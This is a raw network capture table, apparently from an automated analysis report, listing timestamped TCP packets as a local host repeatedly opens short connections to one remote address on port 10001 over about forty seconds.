Oct 1, 2024 09:17:02.339507103 CEST	49733	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:02.339623928 CEST	49733	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:02.344377041 CEST	10001	49733	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:03.309341908 CEST	10001	49733	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:03.309425116 CEST	49733	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:03.309566021 CEST	10001	49733	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:03.309623003 CEST	49733	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:03.412405968 CEST	49733	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:03.412724018 CEST	49734	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:03.417304039 CEST	10001	49733	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:03.417582035 CEST	10001	49734	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:03.417651892 CEST	49734	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:03.417782068 CEST	49734	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:03.422538042 CEST	10001	49734	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:04.365963936 CEST	10001	49734	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:04.366070032 CEST	49734	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:04.366118908 CEST	10001	49734	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:04.366175890 CEST	49734	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:04.450629950 CEST	49734	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:04.455944061 CEST	10001	49734	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:04.556041002 CEST	49735	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:04.561012030 CEST	10001	49735	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:04.561084032 CEST	49735	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:04.561846972 CEST	49735	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:04.566690922 CEST	10001	49735	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:05.519514084 CEST	10001	49735	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:05.519622087 CEST	49735	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:05.519651890 CEST	10001	49735	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:05.519697905 CEST	49735	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:05.519776106 CEST	49735	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:05.524564028 CEST	10001	49735	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:05.631335974 CEST	49736	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:05.636194944 CEST	10001	49736	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:05.636277914 CEST	49736	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:05.636363983 CEST	49736	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:05.641079903 CEST	10001	49736	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:06.606287003 CEST	10001	49736	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:06.606342077 CEST	49736	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:06.606415033 CEST	10001	49736	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:06.606462002 CEST	49736	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:06.709247112 CEST	49736	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:06.709574938 CEST	49737	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:06.714119911 CEST	10001	49736	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:06.714389086 CEST	10001	49737	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:06.714468002 CEST	49737	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:06.714562893 CEST	49737	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:06.719429970 CEST	10001	49737	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:07.666435957 CEST	10001	49737	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:07.666606903 CEST	10001	49737	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:07.666635990 CEST	49737	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:07.666676998 CEST	49737	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:07.666786909 CEST	49737	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:07.671612978 CEST	10001	49737	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:07.772169113 CEST	49738	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:07.776978016 CEST	10001	49738	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:07.777076960 CEST	49738	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:07.777250051 CEST	49738	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:07.782147884 CEST	10001	49738	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:08.719686985 CEST	10001	49738	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:08.719805002 CEST	10001	49738	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:08.719912052 CEST	49738	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:08.719912052 CEST	49738	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:08.720108032 CEST	49738	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:08.724900961 CEST	10001	49738	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:08.835007906 CEST	49739	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:08.839849949 CEST	10001	49739	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:08.839982033 CEST	49739	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:08.840127945 CEST	49739	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:08.844886065 CEST	10001	49739	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:09.789865971 CEST	10001	49739	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:09.789885044 CEST	10001	49739	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:09.790000916 CEST	49739	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:09.790205956 CEST	49739	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:09.794965029 CEST	10001	49739	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:09.897449017 CEST	49740	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:09.902487993 CEST	10001	49740	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:09.902606964 CEST	49740	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:09.902760983 CEST	49740	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:09.907567024 CEST	10001	49740	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:13.878774881 CEST	10001	49740	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:13.878786087 CEST	10001	49740	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:13.878848076 CEST	49740	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:13.879007101 CEST	49740	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:13.883863926 CEST	10001	49740	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:13.990885973 CEST	49742	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:13.995754957 CEST	10001	49742	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:13.995860100 CEST	49742	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:13.995946884 CEST	49742	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:14.000722885 CEST	10001	49742	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:14.961479902 CEST	10001	49742	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:14.961546898 CEST	49742	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:14.961580038 CEST	10001	49742	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:14.961627960 CEST	49742	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:14.961711884 CEST	49742	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:14.966480970 CEST	10001	49742	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:15.069230080 CEST	49744	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:15.074184895 CEST	10001	49744	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:15.074253082 CEST	49744	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:15.074542046 CEST	49744	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:15.079301119 CEST	10001	49744	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:16.042283058 CEST	10001	49744	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:16.042300940 CEST	10001	49744	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:16.042407990 CEST	49744	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:16.042527914 CEST	49744	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:16.047377110 CEST	10001	49744	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:16.148242950 CEST	49747	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:16.153232098 CEST	10001	49747	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:16.154490948 CEST	49747	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:16.159049988 CEST	49747	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:16.163891077 CEST	10001	49747	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:17.115231991 CEST	10001	49747	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:17.115299940 CEST	49747	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:17.115315914 CEST	10001	49747	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:17.115358114 CEST	49747	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:17.115461111 CEST	49747	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:17.120342016 CEST	10001	49747	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:17.225208044 CEST	49749	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:17.230266094 CEST	10001	49749	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:17.230365038 CEST	49749	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:17.230444908 CEST	49749	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:17.235452890 CEST	10001	49749	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:18.198241949 CEST	10001	49749	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:18.198313951 CEST	49749	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:18.198405027 CEST	10001	49749	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:18.198473930 CEST	49749	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:18.210589886 CEST	49749	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:18.216344118 CEST	10001	49749	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:18.318913937 CEST	49751	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:18.323822021 CEST	10001	49751	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:18.323909044 CEST	49751	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:18.323998928 CEST	49751	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:18.329031944 CEST	10001	49751	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:19.277784109 CEST	10001	49751	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:19.277802944 CEST	10001	49751	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:19.277882099 CEST	49751	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:19.278101921 CEST	49751	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:19.282840014 CEST	10001	49751	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:19.381514072 CEST	49752	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:19.387554884 CEST	10001	49752	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:19.387629986 CEST	49752	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:19.387712955 CEST	49752	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:19.392453909 CEST	10001	49752	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:20.348330021 CEST	10001	49752	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:20.348397017 CEST	49752	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:20.348575115 CEST	10001	49752	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:20.348624945 CEST	49752	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:20.459382057 CEST	49752	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:20.459774017 CEST	49753	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:20.464221001 CEST	10001	49752	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:20.464574099 CEST	10001	49753	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:20.464658022 CEST	49753	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:20.464828014 CEST	49753	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:20.469578981 CEST	10001	49753	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:21.432746887 CEST	10001	49753	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:21.432830095 CEST	49753	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:21.432873964 CEST	10001	49753	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:21.432931900 CEST	49753	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:21.432991028 CEST	49753	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:21.437865019 CEST	10001	49753	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:21.539292097 CEST	49754	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:21.544202089 CEST	10001	49754	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:21.544270039 CEST	49754	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:21.544409037 CEST	49754	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:21.549230099 CEST	10001	49754	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:23.040863037 CEST	10001	49754	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:23.040887117 CEST	10001	49754	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:23.040967941 CEST	49754	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:23.041234970 CEST	49754	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:23.048543930 CEST	10001	49754	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:23.147340059 CEST	49755	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:23.153399944 CEST	10001	49755	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:23.153520107 CEST	49755	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:23.153708935 CEST	49755	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:23.158451080 CEST	10001	49755	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:24.109930038 CEST	10001	49755	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:24.109947920 CEST	10001	49755	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:24.109997988 CEST	49755	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:24.110033989 CEST	49755	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:24.110147953 CEST	49755	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:24.114860058 CEST	10001	49755	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:24.225229979 CEST	49756	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:24.230114937 CEST	10001	49756	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:24.230216980 CEST	49756	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:24.230339050 CEST	49756	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:24.235117912 CEST	10001	49756	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:25.186378002 CEST	10001	49756	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:25.186398029 CEST	10001	49756	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:25.186486006 CEST	49756	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:25.186645031 CEST	49756	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:25.191548109 CEST	10001	49756	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:25.289848089 CEST	49757	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:25.294990063 CEST	10001	49757	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:25.295090914 CEST	49757	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:25.295239925 CEST	49757	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:25.300307035 CEST	10001	49757	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:26.245187044 CEST	10001	49757	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:26.245358944 CEST	49757	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:26.246171951 CEST	10001	49757	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:26.246220112 CEST	49757	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:26.365695000 CEST	49757	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:26.365906954 CEST	49758	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:26.370511055 CEST	10001	49757	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:26.370677948 CEST	10001	49758	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:26.370750904 CEST	49758	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:26.370908976 CEST	49758	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:26.375663996 CEST	10001	49758	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:27.329121113 CEST	10001	49758	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:27.329221010 CEST	49758	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:27.329310894 CEST	10001	49758	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:27.329476118 CEST	49758	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:27.443898916 CEST	49758	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:27.444125891 CEST	49759	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:27.448723078 CEST	10001	49758	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:27.449012995 CEST	10001	49759	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:27.449141026 CEST	49759	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:27.449290991 CEST	49759	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:27.454437017 CEST	10001	49759	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:28.415271044 CEST	10001	49759	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:28.415337086 CEST	10001	49759	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:28.415425062 CEST	49759	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:28.415543079 CEST	49759	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:28.420322895 CEST	10001	49759	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:28.522336006 CEST	49760	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:28.527292967 CEST	10001	49760	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:28.527431011 CEST	49760	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:28.527602911 CEST	49760	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:28.532562017 CEST	10001	49760	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:29.481961012 CEST	10001	49760	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:29.482062101 CEST	49760	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:29.482269049 CEST	10001	49760	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:29.482328892 CEST	49760	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:29.600159883 CEST	49760	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:29.600465059 CEST	49761	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:29.605010986 CEST	10001	49760	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:29.605230093 CEST	10001	49761	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:29.605308056 CEST	49761	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:29.605470896 CEST	49761	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:29.610219002 CEST	10001	49761	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:31.127780914 CEST	10001	49761	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:31.127979040 CEST	10001	49761	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:31.128010988 CEST	49761	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:31.128026009 CEST	49761	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:31.128104925 CEST	49761	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:31.132939100 CEST	10001	49761	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:31.240974903 CEST	49762	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:31.245786905 CEST	10001	49762	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:31.245910883 CEST	49762	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:31.246192932 CEST	49762	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:31.250909090 CEST	10001	49762	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:32.766760111 CEST	10001	49762	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:32.766774893 CEST	10001	49762	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:32.766854048 CEST	49762	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:32.767008066 CEST	49762	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:32.771811962 CEST	10001	49762	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:32.888050079 CEST	49763	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:32.892951012 CEST	10001	49763	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:32.893043995 CEST	49763	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:32.893191099 CEST	49763	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:32.897964954 CEST	10001	49763	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:33.850868940 CEST	10001	49763	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:33.850975037 CEST	49763	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:33.850986004 CEST	10001	49763	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:33.851035118 CEST	49763	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:33.851136923 CEST	49763	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:33.855987072 CEST	10001	49763	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:33.959744930 CEST	49764	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:33.964644909 CEST	10001	49764	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:33.964739084 CEST	49764	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:33.964926004 CEST	49764	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:33.969681025 CEST	10001	49764	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:34.933923960 CEST	10001	49764	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:34.933944941 CEST	10001	49764	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:34.934000015 CEST	49764	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:34.934039116 CEST	49764	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:34.934108019 CEST	49764	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:34.938889980 CEST	10001	49764	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:35.037739038 CEST	49765	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:35.042663097 CEST	10001	49765	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:35.042762041 CEST	49765	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:35.042886019 CEST	49765	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:35.047626019 CEST	10001	49765	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:36.009809971 CEST	10001	49765	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:36.009835958 CEST	10001	49765	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:36.009885073 CEST	49765	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:36.009919882 CEST	49765	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:36.010034084 CEST	49765	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:36.014791965 CEST	10001	49765	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:36.116811037 CEST	49766	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:36.121917963 CEST	10001	49766	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:36.122036934 CEST	49766	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:36.122195005 CEST	49766	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:36.127018929 CEST	10001	49766	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:37.091801882 CEST	10001	49766	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:37.091877937 CEST	49766	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:37.091964006 CEST	10001	49766	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:37.092063904 CEST	49766	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:37.209408998 CEST	49766	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:37.209764004 CEST	49767	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:37.214447975 CEST	10001	49766	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:37.214598894 CEST	10001	49767	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:37.214673042 CEST	49767	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:37.214812040 CEST	49767	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:37.219759941 CEST	10001	49767	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:38.179536104 CEST	10001	49767	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:38.179703951 CEST	10001	49767	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:38.179805040 CEST	49767	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:38.186352968 CEST	49767	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:38.191201925 CEST	10001	49767	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:38.303350925 CEST	49768	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:38.308233976 CEST	10001	49768	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:38.308320045 CEST	49768	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:38.308451891 CEST	49768	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:38.313599110 CEST	10001	49768	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:39.265749931 CEST	10001	49768	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:39.265801907 CEST	10001	49768	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:39.265872002 CEST	49768	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:39.265959978 CEST	49768	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:39.268843889 CEST	49768	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:39.273631096 CEST	10001	49768	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:39.405668020 CEST	49769	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:39.410708904 CEST	10001	49769	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:39.410803080 CEST	49769	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:39.414067030 CEST	49769	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:39.418864965 CEST	10001	49769	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:40.358573914 CEST	10001	49769	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:40.358670950 CEST	10001	49769	8.130.42.227	192.168.2.4
